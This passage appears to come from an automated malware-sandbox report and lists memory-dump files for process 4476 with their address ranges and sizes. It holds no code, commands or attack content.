100KB
-
memory/4476-64-0x00007FFD0DBF0000-0x00007FFD0DBFD000-memory.dmpFilesize
52KB
-
memory/4476-66-0x00007FFD08980000-0x00007FFD089AE000-memory.dmpFilesize
184KB
-
memory/4476-70-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-72-0x0000017AE6A00000-0x0000017AE6D77000-memory.dmpFilesize
3.5MB
-
memory/4476-74-0x00007FFD09760000-0x00007FFD09784000-memory.dmpFilesize
144KB
-
memory/4476-73-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmpFilesize
3.5MB
-
memory/4476-71-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmpFilesize
732KB
-
memory/4476-76-0x00007FFD09160000-0x00007FFD09175000-memory.dmpFilesize
84KB
-
memory/4476-78-0x00007FFD09710000-0x00007FFD0971D000-memory.dmpFilesize
52KB
-
memory/4476-56-0x00007FFD092D0000-0x00007FFD092E8000-memory.dmpFilesize
96KB
-
memory/4476-60-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmpFilesize
1.4MB
-
memory/4476-30-0x00007FFD09760000-0x00007FFD09784000-memory.dmpFilesize
144KB
-
memory/4476-58-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmpFilesize
120KB
-
memory/4476-25-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-106-0x00007FFD092B0000-0x00007FFD092CE000-memory.dmpFilesize
120KB
-
memory/4476-107-0x00007FFD089F0000-0x00007FFD08B61000-memory.dmpFilesize
1.4MB
-
memory/4476-108-0x00007FFD09180000-0x00007FFD09199000-memory.dmpFilesize
100KB
-
memory/4476-109-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-123-0x00007FFCF9C50000-0x00007FFCF9D68000-memory.dmpFilesize
1.1MB
-
memory/4476-120-0x00007FFCF9EC0000-0x00007FFCFA237000-memory.dmpFilesize
3.5MB
-
memory/4476-119-0x00007FFCFA240000-0x00007FFCFA2F7000-memory.dmpFilesize
732KB
-
memory/4476-118-0x00007FFD08980000-0x00007FFD089AE000-memory.dmpFilesize
184KB
-
memory/4476-110-0x00007FFD09760000-0x00007FFD09784000-memory.dmpFilesize
144KB
-
memory/4476-124-0x0000017AE6A00000-0x0000017AE6D77000-memory.dmpFilesize
3.5MB
-
memory/4476-125-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-153-0x00007FFCFA4B0000-0x00007FFCFA913000-memory.dmpFilesize
4.4MB
-
memory/4476-48-0x00007FFD0DC00000-0x00007FFD0DC0F000-memory.dmpFilesize
60KB